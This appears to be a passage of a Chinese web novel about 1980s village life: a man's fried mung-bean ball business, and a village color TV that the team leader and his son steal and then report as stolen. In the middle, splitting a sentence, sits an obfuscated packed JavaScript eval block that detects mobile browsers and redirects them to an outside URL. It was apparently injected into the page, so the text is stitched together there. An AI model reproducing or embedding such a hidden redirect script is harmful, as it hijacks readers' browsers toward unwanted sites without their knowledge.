任世和知道，仅靠这点死工资，日子永远只能在温饱线上挣扎。好在老家有门炸绿豆丸子的手艺，是祖上传下的，小时候逢年过节常围着灶台看长辈忙活，那滋味至今难忘。
下班后，他一头扎进出租屋那狭小昏暗的厨房。
屋里油烟缭绕，劣质食用油的青烟呛得人直咳嗽，可任世和顾不上这些，眼神专注得近乎虔诚。
锅里油温渐升，他熟练地将和好的绿豆面糊一勺勺舀进滚烫油里，瞬间，油花四溅，噼里啪啦似欢快鼓点。
丸子在锅里翻滚、膨胀，渐渐泛起诱人的金黄，油香混着绿豆的清香弥漫开来，冲淡了几分生活的苦涩。
弟弟年轻力壮，风风火火赶来，看着满盆油亮丸子，眼睛放光：“哥，就凭这手艺，指定能在菜市场杀出条血路！”
任世和笑着塞给他几个刚出锅的丸子：“趁热尝尝，明儿去市场可得把好秤，别亏了主顾。”
次日傍晚，世平忙完了拉板车送预制板到工地的任务，然后蹬着那辆破旧二八杠，驮着两大竹筐丸子奔菜市场。
任世和在工厂里心神不宁，午休铃一响，就火急火燎跑去公用电话亭，手指颤抖着和弟弟联系。
等待回电时，他心跳如雷，仿佛一场命运豪赌正开盘。
“哥！卖疯了！城里人就好这口！”弟弟兴奋叫嚷，声音大得震耳。那一刻，任世和眼睛湿润，所有疲惫、焦虑瞬间消散。
下班后，他怀揣厚厚一叠钞票，生平第一次阔气走进商场童装区，手指抚过一件件蓬松柔软的羽绒服，想象着孩子们穿上后的惊喜模样，嘴角不自觉上扬，满心都是苦尽甘来的畅快，盘算着往后日子，定要像这丸子生意，越过越滚烫、红火。
黄昏像块陈旧的黄布，沉甸甸地耷拉在山坳口，把小小的郭任庄捂进它昏沉的怀抱。
平日里，这会儿家家户户都已被暮色撵进屋里，悄无声息，唯有偶尔几声犬吠，在空荡荡的村路上回荡。
但今儿不同，村小队长徐德恨一路吆喝着，像个得胜归来的将军，身后几个壮小伙抬着个大纸箱子，稳稳地进了村小学操场中央的——临时腾出来做放映室的地儿。
“彩电来咯！大家伙儿往后晚上有乐子啦！”那嗓子扯得山响，瞬间，原本静谧的村子像炸开了锅，男女老少纷纷从自家门里涌了出来，趿拉着鞋，满脸新奇。
操场上人头攒动，灯光昏黄却掩不住众人眼里的灼灼光亮。几个后生七手八脚摆弄着，不多时，那黑亮屏幕“哗”地一下亮了，色彩斑斓的光影瞬间填满了整个屋子，人群爆发出一阵压低的惊呼。
孩子们兴奋得满屋子乱窜，大人们也咧着嘴，眼角皱纹里都漾着新奇劲儿。
这时，人群里让出一条窄道，浩楠的奶奶被搀扶着缓缓走来。她身形佝偻，像棵被岁月压弯的老树，一头银发稀疏凌乱，脸上皱纹堆叠，仿若写满山村往昔的沧桑故事。她脚步虚浮，却努力睁着那双浑浊眼眸，紧紧盯着彩电，嘴里喃喃：“哎哟，活了大半辈子，还能瞅见这新鲜玩意儿……”
大伙赶忙给奶奶在前排安置了个凳子，她坐下时手微微颤抖，身旁媳妇忙递来个暖手炉。
画面里正演着热闹戏曲，花脸唱腔咿咿呀呀地飘出，奶奶看得目不转睛，嘴角时不时微微上扬，露出仅剩几颗门牙，沉浸其中。
可没一会儿，她就轻咳起来，胸脯急促起伏，浩川赶紧轻拍她后背顺气。
缓过劲儿后，奶奶摆摆手，示意接着看，目光仍贪恋地黏在屏幕上，似要把这新奇光影都刻进余生不多的记忆里，哪怕病痛丝丝缕缕缠上身，也舍不得挪开眼，就想在这难得热闹里，多攥住几分人间烟火，多陪陪一村老小共享此刻欢愉。
暮色如浓稠的墨汁，缓缓浸染了这座静谧的小山村。村东头那间原本用作存放农具的仓库，此刻却透着暖黄的光晕，成了全村人瞩目的焦点。
徐德恨的大儿子，小常，身形高挑却带着几分年轻人的腼腆，眉毛很浓，正站在操场旁存放大彩电的门口，目光专注地盯着屋内那台宝贝疙瘩——小队里新买的大彩电。
那彩电在昏黄灯光下，外壳闪着锃亮的光，两根天线笔直地竖着，像两个神气的卫兵，仿佛只要它一发声，整个村子的夜晚就被点亮了。
村民们陆陆续续赶来，手里攥着自家的小板凳，有说有笑，脚步急切又带着些新奇的雀跃。小常忙不迭地迎上去，帮着大爷大妈们安置座位，嘴里念叨着：“慢点慢点，都有位置。”
安置好众人，他转身快步走到彩电前，郑重其事地按下开关，那一瞬间，屏幕“滋滋”闪了几下，随后斑斓的画面伴着轻微电流声跳了出来。
孩子们瞬间围拢到最前面，席地而坐，眼睛瞪得像铜铃，死死盯着屏幕上播放的武打片，看到大侠飞檐走壁、拳风霍霍，忍不住拍手叫好，嘴里还模仿着招式，相互比划。小常笑着呵斥：“别闹别闹，安静看。”目光却满是宠溺。
大人们坐在后排，一边纳着鞋底、抽着旱烟，一边跟着剧情时而蹙眉，时而哄笑。
二婶子拍着大腿嚷：“哎呀妈呀，这坏人可太坏咧！”
旁边三大爷磕磕烟袋锅，眯着眼应和：“别急，肯定能遭报应。”小常站在一旁，不时微调着天线，确保画面清晰，偶尔也被剧情勾了魂，忘了手头动作。
夜渐深，仓库里热气腾腾，人声嘈杂，烟雾缭绕。窗外，繁星点点，洒在这片沉浸于新奇娱乐的山村土地上。
小常望着满屋子聚精会神的乡亲，嘴角不自觉地上扬，心里满是自豪，仿佛守护的不是一台彩电，而是全村人夜晚最璀璨的梦，在那个年代的质朴时光里，熠熠生辉，温暖悠长。
日头刚往西斜了些，残阳如血，给小村的土坯房都勾勒出一道道长长的暗影。
那年腊月的寒风卷着雪粒子扑进郭任庄，村口老槐树上的冰棱子折射着细碎的光。当拖拉机载着那台18寸熊猫牌彩电进村时，吱呀作响的车厢板上结着层薄霜，却盖不住村民们眼里跳动的火苗。
“这得多少钱啊！“王婶攥着袖口凑上前，粗布围裙上还沾着和面的面粉。拖拉机斗里，彩电被红绸布裹得严实，角上系着的铜铃铛随着颠簸轻轻摇晃，惊得路边啄食的麻雀扑棱棱乱飞。人群里突然炸开锅，有人踮脚张望，有人扒着车帮想凑近，鞋底在结冰的土路上打滑。
当晚，郭二叔家的院子被围得水泄不通。
八仙桌中央的铁皮柜擦得锃亮，柜门缝隙里透出暖黄的光。
孩子们扒着窗户，哈出的白气在玻璃上凝成霜花；老人们蹲在墙根，旱烟袋锅子磕在砖头上咚咚响。
“开啦！“随着吱呀一声，柜门缓缓推开，彩电屏幕像块黑镜子，映出几十张仰起的脸。
雪花落在房檐上，电视里突然响起《西游记》的片头曲。人群先是猛地屏住呼吸，紧接着爆发出此起彼伏的惊叹。
张大爷的烟袋掉在地上都没察觉，嘴里喃喃着：“这孙猴子的金箍棒，咋能变得恁长？“
小孙子浩楠趴在爷爷背上，眼睛瞪得溜圆，盯着屏幕里腾云驾雾的画面，连棉袄扣子开了都浑然不觉。
“听说城里纺织厂都没几台彩电！“人群里不知谁喊了一嗓子。
李婶往灶膛里添了把柴火，火光映着她皱巴巴的脸：“郭二叔怕是把家底都掏光了。“
角落里几个年轻后生交头接耳，有人摸着口袋里磨得发亮的工分本，盘算着得攒多少年才能买得起这稀罕物件。
夜深了，雪花愈发密集。
郭二叔家的灯光在雪幕里晕成暖黄的光斑，电视里唐僧师徒还在取经路上跋涉。
散场的村民裹紧棉袄往家走，踩雪声咯吱作响。
有人回头望着那扇亮着的窗户，突然觉得这黑沉沉的冬夜，似乎比往常多了点不一样的盼头。
村东头学校操场前，原本每晚准点聚起看彩色电视的热闹场子，此刻鸦雀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731817|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无声，只剩徐德恨的儿子小常，像根木桩似地戳在那儿，面色惨白如纸，眼睛直勾勾地盯着空荡荡的木架子，那上头本该稳稳立着全村人的宝贝——那台彩色电视机，如今只剩几根凌乱耷拉着的电线，仿若嘲讽的藤蔓。
“这……这咋就没了呢？”小常颤抖的声音打破死寂，惊飞了旁边老槐树上几只麻雀。
他慌慌张张地在房间里四处翻找，把旧箩筐、农具堆搅得一片狼藉，额头上豆大的汗珠噼里啪啦直往下掉，混合着尘土，在脸上冲出几道泥印。
消息像一阵旋风，眨眼间传遍村子。村民们从四面八方赶来，先是惊愕地瞪大眼，随即炸开了锅。
“昨晚还看着呢，今个咋说没就没了？”
“小常啊，你可是天天守着，咋能让人摸了去？”质疑声此起彼伏，像一把把尖锐小刀，戳得小常浑身哆嗦。
徐德恨匆匆赶来，脸阴沉得能拧出水，他瞪着那空架子，腮帮子咬得鼓起，猛地转身揪住小常衣领：“你个兔崽子，说！咋回事？”小常“哇”地一声哭出来，眼泪鼻涕糊了一脸：“爸，我真不知道啊，今早上一来就没了，门也没撬，肯定是遭贼了，指定是外村流窜来的！”
村里辈分最高的四爷，吧嗒吧嗒抽着旱烟，目光从老花镜后射出，凉凉地说：“外村贼咋就单盯上咱这电视？小常啊，你平日里花销可不小，别是动了歪心思，偷偷卖咯换钱啦。”
这话像颗重磅**，人群瞬间哗然，几个婶子开始交头接耳，眼神里满是猜忌。
徐德恨额上青筋暴跳，拽着小常就往村外头走：“走，去派出所报案，让警察查查，真要是你干的，老子亲手把你送进去！”小常一路踉跄着，哭咧咧地辩解，可那声音被呼呼风声扯碎，消散在众人怀疑的目光里。
派出所里，**皱着眉记录，时不时抬眼打量满脸泪痕的小常。小村这头，村民们散了后还聚在村头小卖部议论纷纷，那台彩电的影像在大伙心头晃悠，有人叹气，有人咒骂，猜疑的阴霾沉甸甸地压在村子上空，把往日因电视聚起的热乎气儿冲得一干二净，只剩人心惶惶，等着真相大白那一天，或是等着信任彻底崩塌的结局。
夜浓得化不开，派出所那盏孤灯在风里晃悠，把审讯室的窗棂影子摇得张牙舞爪。小队队长的儿子小常，瑟缩在审讯椅上，双手紧扣桌沿，指节因用力而泛白，脸色惨白如纸，冷汗顺着鬓角簌簌滚落，在旧夹克肩头洇出深色水渍。
对面，**目光如炬，声音冷硬：“再给你次机会，说实话，电视到底咋丢的？”
小常身子猛地一抖，嘴唇嗫嚅，眼神闪躲游移，片刻后，似下定莫大决心，崩溃般号啕：“是……是我和我爸，我俩干的！”
与此同时，徐德恨家灯火通明，桌上堆满烟酒礼品，徐德恨正满脸堆笑给城里一个远亲陪着小心，那远亲皱着眉，不耐烦地摆手：“你这事难办呐！派出所现在盯得紧，哪能说捞就捞。”
徐德恨急得直跺脚，额上青筋暴突，声音带着哭腔：“大兄弟，你可得想法子，小常那孩子娇惯了些，指定是被人忽悠，一时糊涂，可不能让他后半辈子就毁喽！”
言辞恳切，只差跪地哀求。
审讯室里，小常竹筒倒豆子般交代。原来，队里买电视后，小常看着每晚聚来的人群，心里打起歪算盘，觉着这物件奇货可居。跟队他爸徐德恨一提，起初徐德恨还怒目圆睁把他骂个狗血淋头，可日子久了，望着别家新起的砖房、添置的物件，终究是动了贪念。
案发那晚，父子俩趁着夜色，轻手轻脚摸进存放彩电的房间，徐德恨在外望风，小常哆哆嗦嗦开锁，抬电视时手一滑，差点砸了脚，那闷响惊得两人心跳骤停，冷汗瞬间湿透衣衫。
成功得手后，徐德恨叮嘱小常这几日定要装出焦急模样，还煞有介事地去报案，演一出贼喊捉贼的戏码，本以为能瞒天过海，哪成想这么快就被识破。